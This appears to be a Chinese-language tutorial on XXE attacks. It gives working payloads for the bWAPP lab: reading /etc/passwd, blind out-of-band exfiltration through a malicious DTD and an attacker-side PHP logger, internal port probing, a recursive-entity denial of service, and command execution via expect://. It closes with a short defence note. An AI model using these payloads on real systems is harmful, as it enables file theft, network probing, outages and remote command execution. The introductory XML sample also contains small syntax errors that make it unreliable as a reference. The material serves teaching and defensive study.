'XXE'

XML外部实体攻击是一种应用层攻击,攻击的前提是应用能够解析XML。XXE发生的场景通常是用户在XML输入中包含了外部实体引用,且该外部实体也能被错误配置的XML解析器解析。从解析器所在的主机角度来看,这种攻击可能会引起机密信息泄漏、拒绝服务攻击、服务器请求伪造、端口扫描和其他系统影响。

1. XML基础

1.1 XML结构

XML由3部分构成,XML声明,文档定义(Document Type Definition,DTD),文档元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--XML申明-->
<?xml version="1.0" ?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]]]>
<!--文档元素-->
<note>
<to>Windy</to>
<from>Andy</from>
<head>Greeting</head>
<body>Long time no see!</body>
</note>

1.2 DTD

1.2.1 DTD文档形式

1.2.1.1 内部DTD文档

1
<!DOCTYPE 根元素 [定义内容]>

1.2.1.2 外部DTD文档

1
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

1.2.1.3 混合类型

1
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

1.2.2 实体类别

1.2.2.1 内部普通实体

1
<!ENTITY 实体名称 "实体值">

1.2.2.2 外部普通实体

1
<!ENTITY 实体名称 SYSTEM "URI"

1.2.2.3 内部参数实体

1
<!ENTITY % 实体名称 "实体值">

1.2.2.4 外部参数实体

1
<!ENTITY % 实体名称 SYSTEM "URI">

1.2.2 Example

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE xxe [
<!ENTITY data SYSTEM "file:///etc/passwd">
]>
<root>
<data>&data;</data>
</root>

普通实体使用&实体名;来进行引用;
参数实体只能在定义种出现。

2. 漏洞利用

2.1 读取任意文件

2.1.1 探测XXE漏洞

以bWAPP的XXE漏洞为例

抓包发现,返回数据格式是xml格式

Payload

1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE xxe [
<!ENTITY data SYSTEM "file:///etc/passwd">
]>
<reset><login>&data;</login><secret>Any bugs?</secret></reset>

2.2 URL请求

2.2.1 Blind XXE

在某些情况下,即使存在XXE漏洞,服务器并不会将数据回显。这种情况下,使用外带数据(Out Of Band, OOB)依然可以获得数据。

test.php

模拟具有XXE漏洞的站点,搭建在靶机上

1
2
3
4
5
6
<?php 
$xml = $_POST['xml'];
$data = @simplexml_load_string($xml);
echo "<pre>";
@print_r($data);
?>

XXE_OOB.php

用来接收带外数据的页面,由攻击者搭建

1
2
3
4
5
6
<?php 
$xxe = $_GET['xxe'];
$log = fopen('xxe.txt','a+');
fwrite($log,$xxe);
fclose($log);
?>

evil.dtd

恶意DTD,由攻击者构造

1
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://localhost:8000/Blind_XXE/XXE_OOB.php?xxe=%file;'>">%all;

test.txt

用来存放带外数据的文本文档

1
hello!

payload

恶意请求

1
2
3
4
5
6
7
xml=<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://localhost:8000/Blind_XXE/evil.dtd">
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=d:/test.txt">
%remote;
%send;
]>

访问test.php,将payload用post方式传入。
调用外部DTD文档evil.dtd,访问XXE_OOB.php,将数据写入xxe.txt文档中。

也可以查看access.log获取数据。

数据aGVsbG8h经过Base64编码,解码后为hello!

2.2.2 内网探测

2.2.2.1 端口扫描

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE ipconfig [
<!ENTITY xxe SYSTEM "http://192.168.126.1">
]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

2.3 DOS拒绝服务

递归调用,占用大量服务器资源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE DOS [
<!ENTITY DOS0 "DOS">
<!ENTITY DOS1 "&DOS0;&DOS0;&DOS0;&DOS0;&DOS0;&DOS0;">
<!ENTITY DOS2 "&DOS1;&DOS1;&DOS1;&DOS1;&DOS1;&DOS1;">
<!ENTITY DOS3 "&DOS2;&DOS2;&DOS2;&DOS2;&DOS2;&DOS2;">
<!ENTITY DOS4 "&DOS3;&DOS3;&DOS3;&DOS3;&DOS3;&DOS3;">
<!ENTITY DOS5 "&DOS4;&DOS4;&DOS4;&DOS4;&DOS4;&DOS4;">
<!ENTITY DOS6 "&DOS5;&DOS5;&DOS5;&DOS5;&DOS5;&DOS5;">
<!ENTITY DOS7 "&DOS6;&DOS6;&DOS6;&DOS6;&DOS6;&DOS6;">
<!ENTITY DOS8 "&DOS7;&DOS7;&DOS7;&DOS7;&DOS7;&DOS7;">
<!ENTITY DOS9 "&DOS8;&DOS8;&DOS8;&DOS8;&DOS8;&DOS8;">
]>
<DOS>&DOS9;</DOS>

2.4 远程代码执行

当目标服务器安装了PHP expect模块,并且加载了该模块时,可以使用expect执行系统命令。

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE ipconfig [
<!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<ipconfig>&xxe;</ipconfig>

3. XXE防御

The main problem is that the XML parser parses the untrusted data sent by the user. However, it may not be easy or possible to validate only data present within the system identifier in the DTD. Most XML parsers are vulnerable to XML external entity attacks (XXE) by default. Therefore, the best solution would be to configure the XML processor to use a local static DTD and disallow any declared DTD included in the XML document.

From:HUNTING IN THE DARK - BLIND XXE

XXE的主要问题是XML解析器解析了用户发送的不可信数据。然而,在DTD文档中验证带有系统标识符的数据并不现实。默认情况下,大多数XML解析器都容易遭受XXE攻击。所以,最好的解决办法是配置XML处理器仅使用本地静态DTD,同时禁止XML文档中的DTD声明。

4. 参考

[1] XML外部实体(XXE)注入详解

[2] XXE攻击指南

[3] 浅谈XXE漏洞攻击与防御

[4] 黑夜的猎杀-盲打XXE

[5] HUNTING IN THE DARK - BLIND XXE

[6] XXE漏洞利用技巧:从XML到远程代码执行